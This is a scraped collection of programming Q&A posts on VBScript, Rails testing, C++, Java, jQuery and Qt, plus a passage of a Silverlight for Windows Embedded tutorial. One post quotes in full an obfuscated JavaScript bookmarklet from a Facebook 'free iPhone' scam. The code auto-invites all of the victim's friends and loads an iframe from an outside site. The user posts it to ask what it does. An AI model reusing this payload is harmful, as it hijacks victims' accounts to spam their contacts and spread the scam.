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  • VBScript Capture StdOut from ShellExecute

    - by Joe
    I am trying to run the following code snippet as part of a tool to gather and log some pertinent system diagnostics. The purpose of this snippet is to gather the result of running the command: vssadmin list writers The snippet is as follows: ' Set WshShell = CreateObject("WScript.Shell") ' WScript.Echo sCurPath & "\vsswritercheck.bat" ' Set WshShellExec = WshShell.Exec("elevate.cmd cmd.exe /c " & sCurPath & "\vsswritercheck.bat") Set oShell = CreateObject("Shell.Application") oShell.ShellExecute "cmd.exe", sCurPath & "\vsswritercheck.bat", , "runas", 1 vsswriter = VSSWriterCheck Select Case oShell.Status Case WshFinished strOutput = oShell.StdOut.ReadAll Case WshFailed strOutput = oShell.StdErr.ReadAll End Select WScript.Echo strOutPut vsswriter = strOutPut With the first code snippet (commented out) I can run the command and capture stdout from the batch file. In the second code snipped, I cannot capture stdout. I need to be able to run the batch script with Elevated permissions, so I am looking for a compromise between the functionality of the two. I cannot run the entire calling script in elevated mode due to restrictions from other pieces of functionality. I am looking for any ideas on how to add this output to my log as I am running out of options that are within the scope of basic scripts.

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  • Configure Cucumber with SentientUser

    - by Corith Malin
    I have an application using the SentientUser gem to provide the current user to my models. On top of that I'm using default scoping to ensure that a user can only ever access data that they own. So a typical model for me looks something like this: class Location < ActiveRecord::Base validates_presence_of :name, :time_zone, :address belongs_to :account belongs_to :address accepts_nested_attributes_for :address default_scope :conditions => { :account_id => User.current.account } end When I run rake cucumber I get an error on the default_scope line about account being nil. My guess is that when the cucumber rake task is run it doesn't have access to the correct application controller to inject the current_user method and thus SentientUser can't get the current user? The error I get is: rake cucumber (in /Users/corithmalin/Documents/Code/Ruby/flavorpulse) /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby -I "/Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/lib:lib" "/Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/cucumber" --profile default Using the default profile... undefined method `account' for nil:NilClass (NoMethodError) /Users/corithmalin/Documents/Code/Ruby/flavorpulse/vendor/rails/activesupport/lib/active_support/whiny_nil.rb:52:in `method_missing' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/app/models/location.rb:9 /Library/Ruby/Site/1.8/rubygems/custom_require.rb:31:in `gem_original_require' /Library/Ruby/Site/1.8/rubygems/custom_require.rb:31:in `polyglot_original_require' /Library/Ruby/Gems/1.8/gems/polyglot-0.3.0/lib/polyglot.rb:65:in `require' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/vendor/rails/activesupport/lib/active_support/dependencies.rb:158:in `require' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/vendor/rails/activesupport/lib/active_support/dependencies.rb:265:in `require_or_load' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/vendor/rails/activesupport/lib/active_support/dependencies.rb:224:in `depend_on' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/vendor/rails/activesupport/lib/active_support/dependencies.rb:136:in `require_dependency' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:414:in `load_application_classes' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:413:in `each' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:413:in `load_application_classes' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:411:in `each' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:411:in `load_application_classes' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:197:in `process' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:113:in `send' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/../vendor/rails/railties/lib/initializer.rb:113:in `run' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/config/environment.rb:9 /Library/Ruby/Site/1.8/rubygems/custom_require.rb:31:in `gem_original_require' /Library/Ruby/Site/1.8/rubygems/custom_require.rb:31:in `polyglot_original_require' /Library/Ruby/Gems/1.8/gems/polyglot-0.3.0/lib/polyglot.rb:65:in `require' /Users/corithmalin/Documents/Code/Ruby/flavorpulse/features/support/env.rb:8 /Library/Ruby/Site/1.8/rubygems/custom_require.rb:31:in `gem_original_require' /Library/Ruby/Site/1.8/rubygems/custom_require.rb:31:in `polyglot_original_require' /Library/Ruby/Gems/1.8/gems/polyglot-0.3.0/lib/polyglot.rb:65:in `require' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/rb_support/rb_language.rb:124:in `load_code_file' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/step_mother.rb:85:in `load_code_file' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/step_mother.rb:77:in `load_code_files' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/step_mother.rb:76:in `each' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/step_mother.rb:76:in `load_code_files' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/cli/main.rb:48:in `execute!' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/../lib/cucumber/cli/main.rb:20:in `execute' /Library/Ruby/Gems/1.8/gems/cucumber-0.6.3/bin/cucumber:8 rake aborted! Command failed with status (1): [/System/Library/Frameworks/Ruby.framework/...] (See full trace by running task with --trace)

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  • Compiler issues on VC++ 2008 Express, Seemingly correct code throws errors.

    - by Anthony Clever
    Hi there, I've been trying to get back into coding for a while, so I figured I'd start with some simple SDL, now, without the file i/o, this compiles fine, but when I throw in the stdio code, it starts throwing errors. This I'm not sure about, I don't see any problem with the code itself, however, like I said, I might as well be a newbie, and figured I'd come here to get someone with a little more experience with this type of thing to look at it. I guess my question boils down to: "Why doesn't this compile under Microsoft's Visual C++ 2008 Express?" I've attached the error log at the bottom of the code snippet. Thanks in advance for any help. #include "SDL/SDL.h" #include "stdio.h" int main(int argc, char *argv[]) { FILE *stderr; FILE *stdout; stderr = fopen("stderr", "wb"); stdout = fopen("stdout", "wb"); SDL_Init(SDL_INIT_EVERYTHING); fprintf(stdout, "SDL INITIALIZED SUCCESSFULLY\n"); SDL_Quit(); fprintf(stderr, "SDL QUIT.\n"); fclose(stderr); fclose(stdout); return 0; } /* 1>------ Build started: Project: opengl_crap, Configuration: Debug Win32 ------ 1>Compiling... 1>main.cpp 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(6) : error C2090: function returns array 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(6) : error C2528: '__iob_func' : pointer to reference is illegal 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(6) : error C2556: 'FILE ***__iob_func(void)' : overloaded function differs only by return type from 'FILE *__iob_func(void)' 1> c:\program files\microsoft visual studio 9.0\vc\include\stdio.h(132) : see declaration of '__iob_func' 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(7) : error C2090: function returns array 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(7) : error C2528: '__iob_func' : pointer to reference is illegal 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(9) : error C2440: '=' : cannot convert from 'FILE *' to 'FILE ***' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(10) : error C2440: '=' : cannot convert from 'FILE *' to 'FILE ***' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(13) : error C2664: 'fprintf' : cannot convert parameter 1 from 'FILE ***' to 'FILE *' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(15) : error C2664: 'fprintf' : cannot convert parameter 1 from 'FILE ***' to 'FILE *' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(17) : error C2664: 'fclose' : cannot convert parameter 1 from 'FILE ***' to 'FILE *' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>c:\documents and settings\owner\my documents\visual studio 2008\projects\opengl_crap\opengl_crap\main.cpp(18) : error C2664: 'fclose' : cannot convert parameter 1 from 'FILE ***' to 'FILE *' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>Build log was saved at "file://c:\Documents and Settings\Owner\My Documents\Visual Studio 2008\Projects\opengl_crap\opengl_crap\Debug\BuildLog.htm" 1>opengl_crap - 11 error(s), 0 warning(s) ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ========== */

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  • How can I make this Java code run faster?

    - by Martin Wiboe
    Hello all, I am trying to make a Java port of a simple feed-forward neural network. This obviously involves lots of numeric calculations, so I am trying to optimize my central loop as much as possible. The results should be correct within the limits of the float data type. My current code looks as follows (error handling & initialization removed): /** * Simple implementation of a feedforward neural network. The network supports * including a bias neuron with a constant output of 1.0 and weighted synapses * to hidden and output layers. * * @author Martin Wiboe */ public class FeedForwardNetwork { private final int outputNeurons; // No of neurons in output layer private final int inputNeurons; // No of neurons in input layer private int largestLayerNeurons; // No of neurons in largest layer private final int numberLayers; // No of layers private final int[] neuronCounts; // Neuron count in each layer, 0 is input // layer. private final float[][][] fWeights; // Weights between neurons. // fWeight[fromLayer][fromNeuron][toNeuron] // is the weight from fromNeuron in // fromLayer to toNeuron in layer // fromLayer+1. private float[][] neuronOutput; // Temporary storage of output from previous layer public float[] compute(float[] input) { // Copy input values to input layer output for (int i = 0; i < inputNeurons; i++) { neuronOutput[0][i] = input[i]; } // Loop through layers for (int layer = 1; layer < numberLayers; layer++) { // Loop over neurons in the layer and determine weighted input sum for (int neuron = 0; neuron < neuronCounts[layer]; neuron++) { // Bias neuron is the last neuron in the previous layer int biasNeuron = neuronCounts[layer - 1]; // Get weighted input from bias neuron - output is always 1.0 float activation = 1.0F * fWeights[layer - 1][biasNeuron][neuron]; // Get weighted inputs from rest of neurons in previous layer for (int inputNeuron = 0; inputNeuron < biasNeuron; inputNeuron++) { activation += neuronOutput[layer-1][inputNeuron] * fWeights[layer - 1][inputNeuron][neuron]; } // Store neuron output for next round of computation neuronOutput[layer][neuron] = sigmoid(activation); } } // Return output from network = output from last layer float[] result = new float[outputNeurons]; for (int i = 0; i < outputNeurons; i++) result[i] = neuronOutput[numberLayers - 1][i]; return result; } private final static float sigmoid(final float input) { return (float) (1.0F / (1.0F + Math.exp(-1.0F * input))); } } I am running the JVM with the -server option, and as of now my code is between 25% and 50% slower than similar C code. What can I do to improve this situation? Thank you, Martin Wiboe

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  • jQuery AutoComplete (jQuery UI 1.8rc3) with ASP.NET web service

    - by user296640
    Currently, I have this version of the autocomplete control working when returning XML from a .ashx handler. The xml looks like this: <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <States> <State> <Code>CA</Code> <Name>California</Name> </State> <State> <Code>NC</Code> <Name>North Carolina</Name> </State> <State> <Code>SC</Code> <Name>South Carolina</Name> </State> The autocomplete code looks like this: $('.autocompleteTest').autocomplete( { source: function(request, response) { var list = []; $.ajax({ url: "http://commonservices.qa.kirkland.com/StateLookup.ashx", dataType: "xml", async: false, data: request, success: function(xmlResponse) { list = $("State", xmlResponse).map(function() { return { value: $("Code", this).text(), label: $("Name", this).text() }; }).get(); } }); response(list); }, focus: function(event, ui) { $('.autocompleteTest').val(ui.item.label); return false; }, select: function(event, ui) { $('.autocompleteTest').val(ui.item.label); $('.autocompleteValue').val(ui.item.value); return false; } }); For various reasons, I'd rather be calling an ASP.NET web service, but I can't get it to work. To change over to the service (I'm doing a local service to keep it simple), the start of the autocomplete code is: $('.autocompleteTest').autocomplete( { source: function(request, response) { var list = []; $.ajax({ url: "/Services/GeneralLookup.asmx/StateList", dataType: "xml", This code is on a page at the root of the site and the GeneralLookup.asmx is in a subfolder named Services. But a breakpoint in the web service never gets hit, and no autocomplete list is generated. In case it makes a difference, the XML that comes from the asmx is: <?xml version="1.0" encoding="utf-8" ?> <string xmlns="http://www.kirkland.com/"><State> <Code>CA</Code> <Name>California</Name> </State> <State> <Code>NC</Code> <Name>North Carolina</Name> </State> <State> <Code>SC</Code> <Name>South Carolina</Name> </State></string> Functionally equivalent since I never use the name of the root node in the mapping code. I haven't seen anything in the jQuery docs about calling a .asmx service from this control, but a .ajax call is a .ajax call, right? I've tried various different paths to the .asmx (~/Services/), and I've even moved the service to be in the same path to eliminate these issues. No luck with either. Any ideas?

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  • Can anybody tell what this JavaScript code is doing? [closed]

    - by waheed
    Possible Duplicate: Javascript compiled or not? Check inside… In a facebook group this code was provided to get the free IPhone, you have to join the group and paste the code in the browser and run it. I wonder it might be something malicious, can anybody tell what this code is doing? javascript:var _0xb714=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x34\x35\x36\x37\x38\x39\x39\x35\x37\x38\x39\x39\x30\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E", "\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x73\x6C\x68\x6F\x73\x74\x65\x72\x2E\x63\x6F\x6D\x2F\x70\x61\x67\x65\x73\x2F\x6E\x65\x77\x69\x70\x68\x6F\x6E\x65\x70\x61\x67\x65\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x39\x38\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x35\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"]; var variables= [_0xb714[0], _0xb714[1], _0xb714[2], _0xb714[3], _0xb714[4], _0xb714[5], _0xb714[6], _0xb714[7], _0xb714[8], _0xb714[9], _0xb714[10], _0xb714[11], _0xb714[12], _0xb714[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]); var ss=document[variables[2]](variables[4]); var c=document[variables[6]](variables[5]); c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xb714[14]); Thanks..

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  • [Qt/C++] Need help in optimizing a drawing code ...

    - by Ahmad
    Hello all ... I needed some help in trying to optimize this code portion ... Basically here's the thing .. I'm making this 'calligraphy pen' which gives the calligraphy effect by simply drawing a lot of adjacent slanted lines ... The problem is this: When I update the draw region using update() after every single draw of a slanted line, the output is correct, in the sense that updates are done in a timely manner, so that everything 'drawn' using the pen is immediately 'seen' the drawing.. however, because a lot (100s of them) of updates are done, the program slows down a little when run on the N900 ... When I try to do a little optimization by running update after drawing all the slanted lines (so that all lines are updated onto the drawing board through a single update() ), the output is ... odd .... That is, immediately after drawing the lines, they lines seem broken (they have vacant patches where the drawing should have happened as well) ... however, if I trigger a redrawing of the form window (say, by changing the size of the form), the broken patches are immediately fixed !! When I run this program on my N900, it gets the initial broken output and stays like that, since I don't know how to enforce a redraw in this case ... Here is the first 'optimized' code and output (partially correct/incorrect) void Canvas::drawLineTo(const QPoint &endPoint) { QPainter painter(&image); painter.setPen(QPen(Qt::black,1,Qt::SolidLine,Qt::RoundCap,Qt::RoundJoin)); int fx=0,fy=0,k=0; qPoints.clear(); connectingPointsCalculator2(qPoints,lastPoint.x(),lastPoint.y(),endPoint.x(),endPoint.y()); int i=0; int x,y; for(i=0;i<qPoints.size();i++) { x=qPoints.at(i).x(); y=qPoints.at(i).y(); painter.setPen(Qt::black); painter.drawLine(x-5,y-5,x+5,y+5); **// Drawing slanted lines** } **//Updating only once after many draws:** update (QRect(QPoint(lastPoint.x()-5,lastPoint.y()-5), QPoint(endPoint.x()+5,endPoint.y()+5)).normalized()); modified = true; lastPoint = endPoint; } Image right after scribbling on screen: http://img823.imageshack.us/img823/8755/59943912.png After re-adjusting the window size, all the broken links above are fixed like they should be .. Here is the second un-optimized code (its output is correct right after drawing, just like in the second picture above): void Canvas::drawLineTo(const QPoint &endPoint) { QPainter painter(&image); painter.setPen(QPen(Qt::black,1,Qt::SolidLine,Qt::RoundCap,Qt::RoundJoin)); int fx=0,fy=0,k=0; qPoints.clear(); connectingPointsCalculator2(qPoints,lastPoint.x(),lastPoint.y(),endPoint.x(),endPoint.y()); int i=0; int x,y; for(i=0;i<qPoints.size();i++) { x=qPoints.at(i).x(); y=qPoints.at(i).y(); painter.setPen(Qt::black); painter.drawLine(x-5,y-5,x+5,y+5); **// Drawing slanted lines** **//Updating repeatedly during the for loop:** update(QRect(QPoint(x-5,y-5), QPoint(x+5,y+5)).normalized());//.adjusted(-rad,-rad,rad,rad)); } modified = true; int rad = (myPenWidth / 2) + 2; lastPoint = endPoint; } Can anyone see what the issue might be ?

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  • Silverlight for Windows Embedded tutorial (step 4)

    - by Valter Minute
    I’m back with my Silverlight for Windows Embedded tutorial. Sorry for the long delay between step 3 and step 4, the MVP summit and some work related issue prevented me from working on the tutorial during the last weeks. In our first,  second and third tutorial steps we implemented some very simple applications, just to understand the basic structure of a Silverlight for Windows Embedded application, learn how to handle events and how to operate on images. In this third step our sample application will be slightly more complicated, to introduce two new topics: list boxes and custom control. We will also learn how to create controls at runtime. I choose to explain those topics together and provide a sample a bit more complicated than usual just to start to give the feeling of how a “real” Silverlight for Windows Embedded application is organized. As usual we can start using Expression Blend to define our main page. In this case we will have a listbox and a textblock. Here’s the XAML code: <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" x:Class="ListDemo.Page" Width="640" Height="480" x:Name="ListPage" xmlns:ListDemo="clr-namespace:ListDemo">   <Grid x:Name="LayoutRoot" Background="White"> <ListBox Margin="19,57,19,66" x:Name="FileList" SelectionChanged="Filelist_SelectionChanged"/> <TextBlock Height="35" Margin="19,8,19,0" VerticalAlignment="Top" TextWrapping="Wrap" x:Name="CurrentDir" Text="TextBlock" FontSize="20"/> </Grid> </UserControl> In our listbox we will load a list of directories, starting from the filesystem root (there are no drives in Windows CE, the filesystem has a single root named “\”). When the user clicks on an item inside the list, the corresponding directory path will be displayed in the TextBlock object and the subdirectories of the selected branch will be shown inside the list. As you can see we declared an event handler for the SelectionChanged event of our listbox. We also used a different font size for the TextBlock, to make it more readable. XAML and Expression Blend allow you to customize your UI pretty heavily, experiment with the tools and discover how you can completely change the aspect of your application without changing a single line of code! Inside our ListBox we want to insert the directory presenting a nice icon and their name, just like you are used to see them inside Windows 7 file explorer, for example. To get this we will define a user control. This is a custom object that will behave like “regular” Silverlight for Windows Embedded objects inside our application. First of all we have to define the look of our custom control, named DirectoryItem, using XAML: <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" x:Class="ListDemo.DirectoryItem" Width="500" Height="80">   <StackPanel x:Name="LayoutRoot" Orientation="Horizontal"> <Canvas Width="31.6667" Height="45.9583" Margin="10,10,10,10" RenderTransformOrigin="0.5,0.5"> <Canvas.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform Angle="-31.27"/> <TranslateTransform/> </TransformGroup> </Canvas.RenderTransform> <Rectangle Width="31.6667" Height="45.8414" Canvas.Left="0" Canvas.Top="0.116943" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3128" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FF7B6802" Offset="0"/> <GradientStop Color="#FFF3D42C" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="29.8441" Height="43.1517" Canvas.Left="0.569519" Canvas.Top="1.05249" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142632,0.753441" EndPoint="1.01886,0.753441"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142632" CenterY="0.753441" AngleX="19.3127" AngleY="0"/> <RotateTransform CenterX="0.142632" CenterY="0.753441" Angle="-35.3437"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FFCDCDCD" Offset="0.0833333"/> <GradientStop Color="#FFFFFFFF" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="29.8441" Height="43.1517" Canvas.Left="0.455627" Canvas.Top="2.28036" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3128" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FFCDCDCD" Offset="0.0833333"/> <GradientStop Color="#FFFFFFFF" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="29.8441" Height="43.1517" Canvas.Left="0.455627" Canvas.Top="1.34485" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3128" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FFCDCDCD" Offset="0.0833333"/> <GradientStop Color="#FFFFFFFF" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="26.4269" Height="45.8414" Canvas.Left="0.227798" Canvas.Top="0" Stretch="Fill"> <Rectangle.Fill> <LinearGradientBrush StartPoint="0.142631,0.75344" EndPoint="1.01886,0.75344"> <LinearGradientBrush.RelativeTransform> <TransformGroup> <SkewTransform CenterX="0.142631" CenterY="0.75344" AngleX="19.3127" AngleY="0"/> <RotateTransform CenterX="0.142631" CenterY="0.75344" Angle="-35.3436"/> </TransformGroup> </LinearGradientBrush.RelativeTransform> <LinearGradientBrush.GradientStops> <GradientStop Color="#FF7B6802" Offset="0"/> <GradientStop Color="#FFF3D42C" Offset="1"/> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Rectangle.Fill> </Rectangle> <Rectangle Width="1.25301" Height="45.8414" Canvas.Left="1.70862" Canvas.Top="0.116943" Stretch="Fill" Fill="#FFEBFF07"/> </Canvas> <TextBlock Height="80" x:Name="Name" Width="448" TextWrapping="Wrap" VerticalAlignment="Center" FontSize="24" Text="Directory"/> </StackPanel> </UserControl> As you can see, this XAML contains many graphic elements. Those elements are used to design the folder icon. The original drawing has been designed in Expression Design and then exported as XAML. In Silverlight for Windows Embedded you can use vector images. This means that your images will look good even when scaled or rotated. In our DirectoryItem custom control we have a TextBlock named Name, that will be used to display….(suspense)…. the directory name (I’m too lazy to invent fancy names for controls, and using “boring” intuitive names will make code more readable, I hope!). Now that we have some XAML code, we may execute XAML2CPP to generate part of the aplication code for us. We should then add references to our XAML2CPP generated resource file and include in our code and add a reference to the XAML runtime library to our sources file (you can follow the instruction of the first tutorial step to do that), To generate the code used in this tutorial you need XAML2CPP ver 1.0.1.0, that is downloadable here: http://geekswithblogs.net/WindowsEmbeddedCookbook/archive/2010/03/08/xaml2cpp-1.0.1.0.aspx We can now create our usual simple Win32 application inside Platform Builder, using the same step described in the first chapter of this tutorial (http://geekswithblogs.net/WindowsEmbeddedCookbook/archive/2009/10/01/silverlight-for-embedded-tutorial.aspx). We can declare a class for our main page, deriving it from the template that XAML2CPP generated for us: class ListPage : public TListPage<ListPage> { ... } We will see the ListPage class code in a short time, but before we will see the code of our DirectoryItem user control. This object will be used to populate our list, one item for each directory. To declare a user control things are a bit more complicated (but also in this case XAML2CPP will write most of the “boilerplate” code for use. To interact with a user control you should declare an interface. An interface defines the functions of a user control that can be called inside the application code. Our custom control is currently quite simple and we just need some member functions to store and retrieve a full pathname inside our control. The control will display just the last part of the path inside the control. An interface is declared as a C++ class that has only abstract virtual members. It should also have an UUID associated with it. UUID means Universal Unique IDentifier and it’s a 128 bit number that will identify our interface without the need of specifying its fully qualified name. UUIDs are used to identify COM interfaces and, as we discovered in chapter one, Silverlight for Windows Embedded is based on COM or, at least, provides a COM-like Application Programming Interface (API). Here’s the declaration of the DirectoryItem interface: class __declspec(novtable,uuid("{D38C66E5-2725-4111-B422-D75B32AA8702}")) IDirectoryItem : public IXRCustomUserControl { public:   virtual HRESULT SetFullPath(BSTR fullpath) = 0; virtual HRESULT GetFullPath(BSTR* retval) = 0; }; The interface is derived from IXRCustomControl, this will allow us to add our object to a XAML tree. It declares the two functions needed to set and get the full path, but don’t implement them. Implementation will be done inside the control class. The interface only defines the functions of our control class that are accessible from the outside. It’s a sort of “contract” between our control and the applications that will use it. We must support what’s inside the contract and the application code should know nothing else about our own control. To reference our interface we will use the UUID, to make code more readable we can declare a #define in this way: #define IID_IDirectoryItem __uuidof(IDirectoryItem) Silverlight for Windows Embedded objects (like COM objects) use a reference counting mechanism to handle object destruction. Every time you store a pointer to an object you should call its AddRef function and every time you no longer need that pointer you should call Release. The object keeps an internal counter, incremented for each AddRef and decremented on Release. When the counter reaches 0, the object is destroyed. Managing reference counting in our code can be quite complicated and, since we are lazy (I am, at least!), we will use a great feature of Silverlight for Windows Embedded: smart pointers.A smart pointer can be connected to a Silverlight for Windows Embedded object and manages its reference counting. To declare a smart pointer we must use the XRPtr template: typedef XRPtr<IDirectoryItem> IDirectoryItemPtr; Now that we have defined our interface, it’s time to implement our user control class. XAML2CPP has implemented a class for us, and we have only to derive our class from it, defining the main class and interface of our new custom control: class DirectoryItem : public DirectoryItemUserControlRegister<DirectoryItem,IDirectoryItem> { ... } XAML2CPP has generated some code for us to support the user control, we don’t have to mind too much about that code, since it will be generated (or written by hand, if you like) always in the same way, for every user control. But knowing how does this works “under the hood” is still useful to understand the architecture of Silverlight for Windows Embedded. Our base class declaration is a bit more complex 